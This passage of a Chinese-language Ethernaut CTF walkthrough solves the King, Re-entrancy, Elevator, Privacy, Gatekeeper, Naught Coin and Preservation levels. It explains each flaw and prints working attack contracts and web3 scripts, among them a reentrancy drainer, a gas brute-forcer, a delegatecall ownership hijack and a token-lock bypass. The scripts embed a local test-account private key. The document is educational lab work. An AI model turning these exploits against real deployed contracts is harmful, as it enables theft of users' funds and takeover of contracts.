这么有趣的游戏, 你的目标是攻破他.
当你提交实例给关卡时, 关卡会重新申明王位. 你需要阻止他重获王位来通过这一关.
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract King {   address king;   uint public prize;   address public owner;   constructor() payable {     owner = msg.sender;       king = msg.sender;     prize = msg.value;   }   receive() external payable {     require(msg.value >= prize || msg.sender == owner);     payable(king).transfer(msg.value);     king = msg.sender;     prize = msg.value;   }   function _king() public view returns (address) {     return king;   } } 
 
搞了一下多线程,好像不太行
提交一次可以把prize清零,盲猜是owner转了个value=0,由于msg.sender == owner所以一定能过require,防不住啊
在king = msg.sender前还夹了个transfer,所以转换一下思路,如果可以引发transfer报错,就不会执行king = msg.sender,而前面Force里提了“没有receive函数的话转钱好像会报错”,所以搞个没有receive的攻击合约向题目合约打钱即可
由于没有receive,所以在攻击合约中用transfer会报错,可以转用call函数然后设value,另把constructor设payable可以在Remix部署时转入钱,不过由于可以把prize清零所以在这里用处并不大
攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack {   address payable vicAddr = payable(0x400890FeB77E0e555D02f8969CA00850f65B96D2);   constructor() payable {}   function hack() public payable returns(bytes memory) {     (bool success, bytes memory data) = vicAddr.call{value: msg.value}('');     require(success);     return data;   }   function ng() public payable {     vicAddr.transfer(msg.value);   } } 
 
首先看原king
1 2 3 4 await  contract._king()(await  contract.prize()).words[0 ] 
 
提交一下,没通过但是无所谓,再看看prize
1 2 (await  contract.prize()).words[0 ] 
 
归零了,然后部署攻击合约,
调ng的话会NG,因为没有receive,可以调call,设个0以上的value然后hack即可
PS:后来试过即使有receive,如果receive里面的逻辑太复杂也会退回,因为transfer有2300的Gas限制
再看看king
 
变成了合约地址,这时向题目合约转点钱看看
 
如无意外会报Transaction reverted without a reason string,然后提交即可
 
参见: King of the Ether  和 King of the Ether Postmortem 
10_Re-entrancy·  
这一关的目标是偷走合约的所有资产.
这些可能有帮助:
不可信的合约可以在你意料之外的地方执行代码. 
Fallback methods 
抛出/恢复 bubbling 
有的时候攻击一个合约的最好方式是使用另一个合约. 
查看上方帮助页面, “Beyond the console”  部分 
 
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import 'openzeppelin-contracts-06/math/SafeMath.sol'; contract Reentrance {      using SafeMath for uint256;   mapping(address => uint) public balances;   function donate(address _to) public payable {     balances[_to] = balances[_to].add(msg.value);   }   function balanceOf(address _who) public view returns (uint balance) {     return balances[_who];   }   function withdraw(uint _amount) public {     if(balances[msg.sender] >= _amount) {       (bool result,) = msg.sender.call{value:_amount}("");       if(result) {         _amount;       }       balances[msg.sender] -= _amount;     }   }   receive() external payable {} } 
 
由题目名可知是重入攻击,关于重入攻击,在WTF-Solidity 上有很详细的介绍,建议去康康
大概意思是,在题目合约向我攻击合约转账时,会调用攻击合约的receive或fallback函数,在receive或fallback执行完毕后才会继续call后面的操作,
注意到扣款操作(balances[msg.sender] -= _amount)在call之后,所以如果攻击合约的receive或fallback中也调用withdraw,则会在call还没结束时调用withdraw,于是可实现在上一笔withdraw还没扣款就又可以取款
然后这一笔withdraw里的call又触发我receive或fallback中的withdraw,所以可以达到循环提款且不用扣款
偷一个图方便理解
 
顺便偷一个receive和fallback的调用逻辑
 
理解原理后开始攻击,先看看题目合约余额
1 2 await  web3.eth.getBalance(contract.address)
 
数额不大,设个value = 1000000000000000,一次抽干
攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Reentrance {   function balances() external;   function donate(address _to) payable external;   function balanceOf(address _who) view external;   function withdraw(uint _amount) external; } contract Hack {   Reentrance r;   address payable vicAddr = payable(0x524F04724632eED237cbA3c37272e018b3A7967e);   uint value = 1000000000000000;   constructor() payable {     r = Reentrance(vicAddr);   }   function hack() public payable {     r.donate{value: value}(address(this));     r.withdraw(value);   }   receive() external payable {     if (vicAddr.balance > 0) {       r.withdraw(value);     }   } } 
 
部署时记得转入1000000000000000 Wei
hack后再看余额
1 2 await  web3.eth.getBalance(contract.address)
 
归零,提交
 
11_Elevator·  
电梯不会让你达到大楼顶部, 对吧?
这可能有帮助:
有的时候 solidity 不是很擅长保存 promises. 
这个 电梯 期待被用在一个 建筑 里. 
 
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Building {   function isLastFloor(uint) external returns (bool); } contract Elevator {   bool public top;   uint public floor;   function goTo(uint _floor) public {     Building building = Building(msg.sender);     if (! building.isLastFloor(_floor)) {       floor = _floor;       top = building.isLastFloor(floor);     }   } } 
 
Building(msg.sender)传入的是我的地址,所以可以控制isLastFloor
然后看要求是对于同一个输入,isLastFloor第一次要返回false,第二次返回true,那就与输入无关就好了
攻击合约
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface Elevator {   function top() external;   function floor() external;   function goTo(uint _floor) external; } contract Building {   Elevator e;   address vicAddr = 0x033488800Ae672726c34620D4Bd817E1590d4cDc;   bool coin = true;   constructor() {     e = Elevator(vicAddr);   }   function isLastFloor(uint f) public returns (bool) {     coin = !coin;     return coin;   }   function hack() public {     e.goTo(1);   } } 
 
部署时会报Warning: Unused function parameter,不用管
 
提交
 
阅读 Solidity’s documentation 
12_Privacy·  
这个合约的制作者非常小心的保护了敏感区域的 storage.
解开这个合约来完成这一关.
这些可能有帮助:
理解 storage 的原理 
理解 parameter parsing 的原理 
理解 casting 的原理 
 
Tips:
记住 metamask 只是个普通的工具. 如果它有问题,可以使用别的工具. 进阶的操作应该包括 remix, 或是你自己的 web3 提供者. 
 
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Privacy {   bool public locked = true;   uint256 public ID = block.timestamp;   uint8 private flattening = 10;   uint8 private denomination = 255;   uint16 private awkwardness = uint16(block.timestamp);   bytes32[3] private data;   constructor(bytes32[3] memory _data) {     data = _data;   }      function unlock(bytes16 _key) public {     require(_key == bytes16(data[2]));     locked = false;   }   /*     A bunch of super advanced solidity algorithms...       ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`       .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,       *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\       `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)       ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU   */ } 
 
首先根据Vault 知道可以使用web3.eth.getStorageAt获取合约的内存,问题就剩下怎么找到bytes16(data[2])了
首先看看Solidity的内存分布,可以参考这里 的紧凑存储,大概意思是内存中存到Slot的顺序和代码中指定的顺序一致,但是存的时候会在保证顺序的前提下尽量把一个Slot填满,即如果可以找到两个(定长)变量合起来长度小于256 bits的话,就会把两个存在同一个Slot,靠前面的变量会存在内存较低的位置
分析一下可得这个合约的内存为(注:地址255 -> 0)
1 2 3 4 5 6 0: 0(255) | locked(1) 1: ID(256) 2: 0(224) | awkwardness(16) | denomination(8) | flattening(8) 3: data[0](256) 4: data[1](256) 5: data[2](256) 
 
这样的话data[2]就应该拿web3.eth.getStorageAt(contract.address, 5)
但实际上解锁需要的是bytes16(data[2]),所以还需要一个类型转换
根据这里 的说法,Solidity中bytes是从高位填起,转换的话应该是拿data[2]的高16字节
所以
1 2 3 4 var  res = '0x'  + (await  web3.eth.getStorageAt(contract.address, 5 )).substr(2 , 32 );await  contract.unlock(res);(await  contract.locked()).toString() 
 
提交即可
 
文章: How to read Ethereum contract storage 
13_Gatekeeper One·  
越过守门人并且注册为一个参赛者来完成这一关.
这可能有帮助:
想一想你在 Telephone 和 Token 关卡学到的知识. 
你可以在 solidity 文档中更深入的了解 gasleft() 函数 (参见 here  和 here ). 
 
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperOne {   address public entrant;   modifier gateOne() {     require(msg.sender != tx.origin);     _;   }   modifier gateTwo() {     require(gasleft() % 8191 == 0);     _;   }   modifier gateThree(bytes8 _gateKey) {       require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");       require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");       require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");     _;   }   function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {     entrant = tx.origin;     return true;   } } 
 
GateOne·  
gateOne其实就是前面的Telephone ,抄过来即可。
但攻击合约我改了一下,为了在调试中减少合约部署的次数,把攻击对象地址等都设成了变量
hack.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperOne  {   function enter(bytes8 _gateKey) payable external; } contract Hack {   constructor() {}   function hack(uint256 g, address a, bytes8 b) public {     address vicAddr = payable(a);     GatekeeperOne go = GatekeeperOne(vicAddr);     go.enter{gas: g}(b);   }   receive() external payable {} } 
 
GateTwo·  
大概是到gateTwo函数的require里,剩下的gas要是8191的倍数,其实这里枚举输入进去的gas即可。
实际操作过程中会有一些坑,第一坑是,如果用MateMask交易的话,他好像会帮我计算一个最节省的gas,导致hack里面的{gas: g}不起作用,估计是太抠了,到go.enter{gas: g}(b)这里不够gas了?
用Python打则没问题,所以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from  web3 import  Web3, HTTPProviderimport  jsonimport  timechainId = int (1337 ) RPC_url = 'http://localhost:8545'  web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if  not  state:    exit(-1 ) player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'  sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'  account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))hackAbi = '[{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"},{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes8","name":"b","type":"bytes8"}],"name":"hack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"receive"}]'  hackAbi = json.loads(hackAbi) hackAddress = '0x40918Ba7f132E0aCba2CE4de4c4baF9BD2D7D849'  hackContract = web3.eth.contract(abi=hackAbi, address=hackAddress) gAddr = '0x5E3d0fdE6f793B3115A9E7f5EBC195bbeeD35d6C'  for  i in  range (200 , 500 ):    functionEncode = hackContract.encodeABI(fn_name="hack" , args=[819100  + i, gAddr, b'aaaaaaaa' ])     nonce = int (web3.eth.get_transaction_count(account.address))     tx = {         'chainId' : chainId,         'nonce' : nonce,         'gasPrice' : int (5000000 ),         'gas' : int (5000000 ),         'value' : int (0 ),         'from' : player,         'to' : hackAddress,         'data' : functionEncode,     }     try :         sign = web3.eth.account.sign_transaction(tx, sk)         hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex ()         print ('[Log] Sending transaction ...' )         result = web3.eth.wait_for_transaction_receipt(hashTx)         print (result)     except  Exception as  e:         print (i)         if  e.args[0 ]['data' ]['message' ] != 'Error: Transaction reverted without a reason string' :             print (e)             break  
 
以上hackAbi和hackAddress填上攻击合约hack.sol部署后的ABI和地址,gAddr填上题目合约地址,最后测出来需要输入的gas是8191 * n + 256
还有另一个坑是,如果我用题目源码在Remix上面自己编一遍的话,会发现消耗的gas会不一样,比如我用Remix上的0.8.0编出来,测了一下需要8191 * n + 426,明显和题目编的不一样
GateThree·  
GateThree就是Privacy 的内容,首先需要根据这里 的知识复习一下变量在内存的存储方式
如果把_gateKey划分成gk7 | gk6 | ... | gk0这8个Bytes的话,uint64(_gateKey)就是直接把这8个Bytes转成数字
第一个条件中,uint32(uint64(_gateKey))就是gk3 | gk2 | gk1 | gk0这4个Bytes,uint16(uint64(_gateKey)就是gk1 | gk0这2个Bytes,现在要两者相等,就是要gk3和gk2都是\x00
第二个条件中,uint32(uint64(_gateKey)) != uint64(_gateKey)就是要gk7 | gk6 | gk5 | gk4这4个Bytes不全为\x00
第三个条件中,uint16(uint160(tx.origin)就是tx.origin的最低2个Bytes,uint32(uint64(_gateKey))上面说了等于gk1 | gk0,所以就是要gk1 | gk0等于tx.origin的最低2个Bytes
所以根据分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 from  web3 import  Web3, HTTPProviderimport  jsonimport  timechainId = int (1337 ) RPC_url = 'http://localhost:8545'  web3 = Web3(HTTPProvider(RPC_url)) state = web3.is_connected() print (state)if  not  state:    exit(-1 ) player = '0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266'  sk = 'ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80'  account = web3.eth.account.from_key(sk) print (web3.eth.get_balance(player))hackAbi = '[{"inputs":[{"internalType":"uint256","name":"g","type":"uint256"},{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes8","name":"b","type":"bytes8"}],"name":"hack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"payable","type":"receive"}]'  hackAbi = json.loads(hackAbi) hackAddress = '0x40918Ba7f132E0aCba2CE4de4c4baF9BD2D7D849'  hackContract = web3.eth.contract(abi=hackAbi, address=hackAddress) gAddr = '0x5E3d0fdE6f793B3115A9E7f5EBC195bbeeD35d6C'  functionEncode = hackContract.encodeABI(fn_name="hack" , args=[819100  + 256 , gAddr, b'aaaa\x00\x00'  + bytes .fromhex(player[-4 :])]) nonce = int (web3.eth.get_transaction_count(account.address)) tx = {     'chainId' : chainId,     'nonce' : nonce,     'gasPrice' : int (5000000 ),     'gas' : int (5000000 ),     'value' : int (0 ),     'from' : player,     'to' : hackAddress,     'data' : functionEncode, } try :    sign = web3.eth.account.sign_transaction(tx, sk)     hashTx = web3.eth.send_raw_transaction(sign.rawTransaction).hex ()     print ('[Log] Sending transaction ...' )     result = web3.eth.wait_for_transaction_receipt(hashTx)     print (result) except  Exception as  e:    print (e) 
 
回到题目中看看
1 2 await  contract.entrant()
 
提交即可
14_Gatekeeper Two·  
这个守门人带来了一些新的挑战, 同样的需要注册为参赛者来完成这一关
这可能有帮助:
想一想你从上一个守门人那学到了什么. 
第二个门中的 assembly 关键词可以让一个合约访问非原生的 vanilla solidity 功能. 参见 here  . extcodesize 函数可以用来得到给定地址合约的代码长度 - 你可以在这个页面学习到更多 yellow paper . 
^ 符号在第三个门里是位操作 (XOR), 在这里是代表另一个常见的位操作 (参见 here ). Coin Flip 关卡也是一个很好的参考. 
 
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GatekeeperTwo {   address public entrant;   modifier gateOne() {     require(msg.sender != tx.origin);     _;   }   modifier gateTwo() {     uint x;     assembly { x := extcodesize(caller()) }     require(x == 0);     _;   }   modifier gateThree(bytes8 _gateKey) {     require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);     _;   }   function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {     entrant = tx.origin;     return true;   } } 
 
首先gateOne和上一关类似,略了
gateTwo调用了个内联汇编 ,但代码不长,所以还不用慌
extcodesize(caller())大概意思是调用者的合约的代码长度,一般来说能做调用的话起码会有调用的代码,所以代码长度都应该大于0,但有一种情况例外,就是合约创建时在contract中调用,这时因为合约还没部署完成,所以不会查到代码长度,参考:这里 
gateThree就是算个异或,msg.sender在攻击合约中就是address(this),所以在攻击代码中算出_gateKey为
1 uint64 gk = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max; 
 
然后发送时转成bytes8即可
参考代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface GatekeeperTwo  {   function enter(bytes8 _gateKey) external; } contract Hack {   constructor() {     address vicAddr = 0xeC4cFde48EAdca2bC63E94BB437BbeAcE1371bF3;     GatekeeperTwo gt = GatekeeperTwo(vicAddr);     uint64 gk = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max;     gt.enter(bytes8(gk));   } } 
 
回到题目中
1 2 await  contract.entrant()
 
提交即可
 
额
15_Naught Coin·  
NaughtCoin 是一种 ERC20 代币,而且您已经持有这些代币。问题是您只能在 10 年之后才能转移它们。您能尝试将它们转移到另一个地址,以便您可以自由使用它们吗?通过将您的代币余额变为 0 来完成此关卡。
这可能有用
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';  contract NaughtCoin is ERC20 {   // string public constant name = 'NaughtCoin';   // string public constant symbol = '0x0';   // uint public constant decimals = 18;   uint public timeLock = block.timestamp + 10 * 365 days;   uint256 public INITIAL_SUPPLY;   address public player;   constructor(address _player)    ERC20('NaughtCoin', '0x0') {     player = _player;     INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));     // _totalSupply = INITIAL_SUPPLY;     // _balances[player] = INITIAL_SUPPLY;     _mint(player, INITIAL_SUPPLY);     emit Transfer(address(0), player, INITIAL_SUPPLY);   }      function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {     super.transfer(_to, _value);   }   // Prevent the initial owner from transferring tokens until the timelock has passed   modifier lockTokens() {     if (msg.sender == player) {       require(block.timestamp > timeLock);       _;     } else {      _;     }   }  } 
 
首先关于ERC20可以参考WTF Solidity 
先看余额
1 2 (await  contract.balanceOf(player)).toString() '1000000000000000000000000' 
 
题目覆写了父类ERC20的转账函数transfer,加了个lockTokens,而且lockTokens的时间设置看着好像没问题。
翻文档可以知道ERC20还有另一个转账函数是transferFrom,而这个函数没被题目函数覆写,所以可以考虑跳过题目合约直接调用transferFrom转账。
直接调用transferFrom会报ERC20: insufficient allowance,参考这里 可知要调用approve授权
1 await  contract.approve(player, await  contract.INITIAL_SUPPLY())
 
在MetaMask批准一下,然后转账
1 await  contract.transferFrom(player, contract.address, await  contract.balanceOf(player))
 
再看余额
1 2 (await  contract.balanceOf(player)).toString() '0' 
 
提交即可
 
16_Preservation·  
该合约利用库合约保存 2 个不同时区的时间戳。合约的构造函数输入两个库合约地址用于保存不同时区的时间戳。
通关条件:尝试取得合约的所有权(owner)。
可能有帮助的注意点:
深入了解 Solidity 官网文档中底层方法 delegatecall 的工作原理,它如何在链上和库合约中的使用该方法,以及执行的上下文范围。 
理解 delegatecall 的上下文保留的含义 
理解合约中的变量是如何存储和访问的 
理解不同类型之间的如何转换 
 
题目代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Preservation {   // public library contracts    address public timeZone1Library;   address public timeZone2Library;   address public owner;    uint storedTime;   // Sets the function signature for delegatecall   bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));   constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {     timeZone1Library = _timeZone1LibraryAddress;      timeZone2Library = _timeZone2LibraryAddress;      owner = msg.sender;   }     // set the time for timezone 1   function setFirstTime(uint _timeStamp) public {     timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));   }   // set the time for timezone 2   function setSecondTime(uint _timeStamp) public {     timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));   } } // Simple library contract to set the time contract LibraryContract {   // stores a timestamp    uint storedTime;     function setTime(uint _time) public {     storedTime = _time;   } } 
 
先看一下owner,不是我
1 2 await  contract.owner()'0x59b670e9fA9D0A427751Af201D676719a970857b' 
 
在Delegation 中已经接触过委托调用,委托调用大概的特点是,调用外部合约的代码,但是修改自己合约的内存变量,关于委托调用的更多知识可以参考WTF Solidity 
在WTF其中提到合约B必须和目标合约C的变量存储布局必须相同,然而题目的合约明显就布局不一样,可以测一下会发生什么,随便调用一下setFirstTime
1 2 3 4 5 6 7 8 9 10 11 await  contract.timeZone1Library()await  web3.eth.getStorageAt(contract.address, 0 )await  contract.setFirstTime(123 )await  contract.timeZone1Library()await  web3.eth.getStorageAt(contract.address, 0 )
 
可以发现timeZone1Library变量已经变成我从setFirstTime传进去的参数,就是说,delegatecall修改自己合约中的变量并不是按变量名修改,而是按内存地址修改
在LibraryContract 中第一个变量是storedTime(256 bits),而在Preservation 中第一个变量是timeZone1Library(256 bits),在使用delegatecall调用LibraryContract的setTime时,他会去寻找被认为是storedTime的第一个变量,但实际在Preservation合约中的第一个变量是timeZone1Library,所以最终改的是timeZone1Library,(有点绕)
于是就可以自己怼一个攻击合约,在攻击合约中修改owner,然后用上面方法把timeZone1Library改成攻击合约的地址,最后再调用一次setFirstTime获得权限
参考攻击合约(注意变量布局要和题目合约一致)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Hack {   address public timeZone1Library;   address public timeZone2Library;   address public owner;    uint storedTime;   constructor() {}   function setTime(uint _time) public {     address player = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;     owner = player;   } } 
 
然后设一次时间覆盖timeZone1Library的地址,由于setFirstTime在测试的时候被污染了,所以用setSecondTime,或者重开也行
1 2 3 4 var  hack = '0xdbC43Ba45381e02825b14322cDdd15eC4B3164E6' ;await  contract.setSecondTime(hack);await  web3.eth.getStorageAt(contract.address, 0 )
 
然后调用setFirstTime获取权限
1 2 3 await  contract.setFirstTime(123 );await  contract.owner()
 
提交即可